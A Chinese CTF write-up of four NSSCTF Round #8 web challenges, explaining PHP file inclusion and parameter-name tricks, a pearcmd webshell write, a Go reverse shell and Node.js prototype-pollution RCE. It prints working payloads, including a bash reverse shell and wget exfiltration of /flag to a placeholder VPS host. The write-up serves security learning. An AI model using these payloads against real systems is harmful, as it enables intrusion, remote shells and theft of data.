[NSSCTF Round #8]——web专项赛wp

MyDoor

[NSSCTF Round #8]——web专项赛wp_第1张图片

上来什么也没有,用php伪协议读取index.php中的内容,构造payload:

http://node2.anna.nssctf.cn:28803/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到源码:


error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

说明我们要传入一个名为N_S.S的变量进行命令执行或者利用file变量进行文件包含

file变量过滤了大部分伪协议,所以要利用N_S.S构造payload:

这里涉及到PHP非法传参:

根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造nss_ctfer.vip的话,最后php执行的是nss_ctfer_vip,因此我们将前面的_[代替

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

http://node2.anna.nssctf.cn:28803/index.php?N[S.S=system('ls /');

看了看根目录,没有啥东西,看一下phpinfo

http://node2.anna.nssctf.cn:28803/index.php?N[S.S=phpinfo();

1683683433774

得到flag

MyPage

一开始打算用data协议,或者filter协议进行内容读取,但是好像都被ban掉了,上网查了查资料,要利用对pearcmd.php文件进行调用,然后利用pear命令,构造payload:

?file=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/shell.php

[NSSCTF Round #8]——web专项赛wp_第2张图片

传入成功,现在/tmp目录下就有个shell.php文件,里面的内容是,利用我们的一句话木马读取flag

[NSSCTF Round #8]——web专项赛wp_第3张图片

扫描当前目录可以看到有/flag.php读取获得flag,

[NSSCTF Round #8]——web专项赛wp_第4张图片

这里面的system(“cat flag.php”)需要用双引号,用单引号无法显示flag

看phpinfo也可以

Upload_gogoggo

go语言文件上传,他说没有过滤,暂且信他一手,上网查了一下go文件上传

并且这道题在上传后会执行go加上文件名.之前的字符串的命令,并且是对你上传的文件进行执行的

上传文件名为shell.go,那么就会执行go run shell.go,这样会执行go里的代码

以下是通过go文件上传来进行反弹shell的代码:

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
	cmd := exec.Command("/bin/bash", "-c", "bash -i &> /ip/port 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
		fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

因为没有过滤,所以上传成功之后会直接运行,反弹shell成功

1683700207443

这只有一半,另一半在/home/galf

[NSSCTF Round #8]——web专项赛wp_第5张图片

base64解码得到flag

ez_node

说真的,现学原型链污染做这道题,并且没有js基础,感觉啃得好费劲。

文件有附件,打开server.js附件可以得到源码

const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");

const PORT = process.env.port || 3000
const app = express();

global = "global"

app.listen(PORT, () => {
    console.log(`listen at ${PORT}`);
});

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}


let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());

app.use(express.static("./public"));

app.post("/upload", (req, res) => {
    try{
        let oldName = req.files[0].path;
        let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
        fs.renameSync(oldName, newName);
        res.send({
            err: 0,
            url:
            "./upload/" +
            req.files[0].filename +
            path.parse(req.files[0].originalname).ext
        });
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
});

app.post('/pollution', require('body-parser').json(), (req, res) => {
    let data = {};
    try{
        merge(data, req.body);
        res.send('Register successfully!tql')
        require('./err.js').getRandomErr()
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
})

代码解析:

  1. 定义常量:使用 const 关键字定义了一个常量 PORT,表示服务器监听的端口号。如果环境变量中存在 port,则使用该值作为端口号,否则默认使用 3000
  2. 创建 Express 应用程序:通过调用 express() 函数创建一个 Express 应用程序实例,并将其赋值给 app 变量。
  3. 全局变量:通过将字符串 “global” 赋值给全局变量 global
  4. 启动应用程序:通过调用 app.listen() 方法指定应用程序监听的端口,并在控制台打印相应的消息。
  5. 定义文件上传中间件:通过调用 multer() 函数创建一个 multer 实例,并将其赋值给 objMulter 变量。将上传的文件保存到目录 “./upload”。
  6. 使用中间件:通过调用 app.use() 方法使用中间件。这里使用了两个中间件:
  • objMulter.any():用于处理文件上传请求。
  • express.static():用于提供静态文件服务。将目录 “./public” 映射为静态文件根目录。
  1. 处理文件上传请求:通过调用 app.post() 方法定义了处理文件上传的路由。当收到 “/upload” 路径的 POST 请求时,获取上传文件的信息,修改文件名并保存到指定目录,然后返回相应的数据给客户端。
  2. 处理污染请求:通过调用 app.post() 方法定义了处理污染请求的路由。当收到 “/pollution” 路径的 POST 请求时,将请求体中的数据合并到一个对象中,并返回相应的数据给客户端。

总之,该应用程序使用 Express 框架创建了一个服务器,监听指定的端口,处理文件上传请求和污染请求,并提供静态文件服务。

err.js

obj={
    errDict: [
        '发生肾么事了!!!发生肾么事了!!!',
        '随意污染靶机会寄的,建议先本地测',
        '李在干神魔',
        '真寄了就重开把',
    ],
    getRandomErr:() => {
        return obj.errDict[Math.floor(Math.random() * 4)]
    }
}
module.exports = obj

只有一个merge函数里可以进行原型链污染,而且从很多方面都可以看出来这个是原型链污染

具体污染的地方是https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};

然后进入readPackageScope()

function readPackageScope(checkPath) {
  const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
  let separatorIndex;
  do {
    separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
    checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
    if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
      return false;
    const pjson = readPackage(checkPath + sep);
    if (pjson) return {
      data: pjson,
      path: checkPath,
    };
  } while (separatorIndex > rootSeparatorIndex);
  return false;
}

该函数的作用是从指定的路径 checkPath 开始,逐级向上查找 package.json 文件,直到根目录或者遇到 node_modules 目录为止。如果找到了 package.json 文件,则返回一个包含 package.json 内容和路径信息的对象;否则返回 false

代码解释如下:

  1. 获取根目录的分隔符索引:使用 String.prototype.indexOf() 函数在 checkPath 字符串中查找根目录分隔符的索引,并将结果赋值给 rootSeparatorIndex 变量。
  2. 进入循环:进入一个循环,条件为 do { ... } while (separatorIndex > rootSeparatorIndex),即在 separatorIndex 大于根目录分隔符索引时继续循环。
  3. 获取分隔符索引:使用 String.prototype.lastIndexOf() 函数在 checkPath 字符串中查找最后一个分隔符的索引,并将结果赋值给 separatorIndex 变量。
  4. 更新 checkPath:使用 String.prototype.slice() 函数从 checkPath 字符串的开头截取到 separatorIndex 索引位置,将截取后的结果重新赋值给 checkPath 变量。
  5. 检查是否进入 node_modules 目录:使用 String.prototype.endsWith() 函数判断 checkPath 是否以分隔符加上 'node_modules' 结尾。如果是,表示已经进入 node_modules 目录,函数返回 false
  6. 读取 package.json:调用 readPackage() 函数读取 checkPath 加上分隔符的路径下的 package.json 文件。如果成功读取到 package.json 文件,则返回一个包含 package.json 内容和路径信息的对象,格式为 { data: pjson, path: checkPath }
  7. 更新循环条件:判断 separatorIndex 是否大于根目录分隔符索引,如果是,则继续循环。否则,跳出循环。
  8. 返回结果:如果在循环中找到了 package.json 文件,则返回包含 package.json 内容和路径信息的对象;否则返回 false

函数会逐级检查 node_modules 的存在,如果到了最后一级为目录为 node_modules 会直接返回 false 。而如果不存在题目环境下没有 pakcgae.json ,会导致 readPackageScope() 返回 false 并使 {data: pkg, path: pkgPath} 保留为空对象,导致了原型链污染漏洞存在。

继续追踪对象{ data: pkg, path: pkgPath },找到 resolvePackageTarget

resolvePackageTarget的第一个判断函数:

在执行代码的时候,进入到readPackage函数

function readPackage(requestPath) {
  const jsonPath = path.resolve(requestPath, 'package.json');

  const existing = packageJsonCache.get(jsonPath);
  if (existing !== undefined) return existing;

  const result = packageJsonReader.read(jsonPath);
  const json = result.containsKeys === false ? '{}' : result.string;
  if (json === undefined) {
    packageJsonCache.set(jsonPath, false);
    return false;
  }
    
  try {
    const filtered = filterOwnProperties(JSONParse(json), [
      'name',
      'main',
      'exports',
      'imports',
      'type',
    ]);
    packageJsonCache.set(jsonPath, filtered);
    return filtered;
  } catch (e) {
    e.path = jsonPath;
    e.message = 'Error parsing ' + jsonPath + ': ' + e.message;
    throw e;
  }
}

他会对当前require请求文件所在的目录中区找package.json文件并进行json解析,如果没有就返回fasle

所以const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}对pkg赋值的肯定是后面的{}的值

而这里就可以对pkg和pkgPath的值进行污染

总结来说,在require非原生库的过程中,最终会去调用PkgPathpkg.exports拼接起来的字符串所指定的文件

根据出题人的本意是让我们上传一个包,然后去加载那个包require得到的是module.exports的内容,所以先上传一个js文件好像是没有curl这个命令,所以这里要用wget

先上传一个文件,内容如下:

obj={
    getRandomErr:() => {
        require('child_process').execSync('wget http://vpsip:vpsport/`cat /flag`')
    }
}
module.exports=obj

在这段代码中,obj是一个对象,它具有一个属性getRandomErr,该属性是一个箭头函数。箭头函数的目的是在调用getRandomErr时执行一些操作。

getRandomErr函数中,使用了Node.js内置的child_process模块的execSync方法。execSync方法用于执行命令行命令,并返回其输出。在这里,命令是cat /flag,它尝试读取名为/flag的文件的内容。

然后我们上传该js文件,上传成功后显示如下,文件名改成了dadd1477b87358522decef501ec751a4.js,文件路径是./upload

[NSSCTF Round #8]——web专项赛wp_第6张图片

给/pollution路由传数据,,将exports的数据改成修改后的文件名然后进行原型链污染

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./dadd1477b87358522decef501ec751a4.js"
		},
		"path": "/app/upload"
	}
}

第二种方法,payload直接打

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./preinstall.js"
		},
		"path": "/opt/yarn-v1.22.19",
		"npm_config_global": 1,
		"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://vpsip:vpsport/`cat /flag`'])"
	},
	"a": null
}

不知道原因,只有在靶机没有进行任何操作的情况下,才可以得到flag,只要出现"李在干什么"等字样说明这个靶机就寄了,重打吧


以下是参考的各位师傅的文章:

  • Node.js require() RCE复现
  • 出题人wp:ez_node NSSCTF round#8
  • v2师傅wp:NSSCTF Round#8 Basic

你可能感兴趣的:(CTF比赛复现,web安全,javascript,node.js)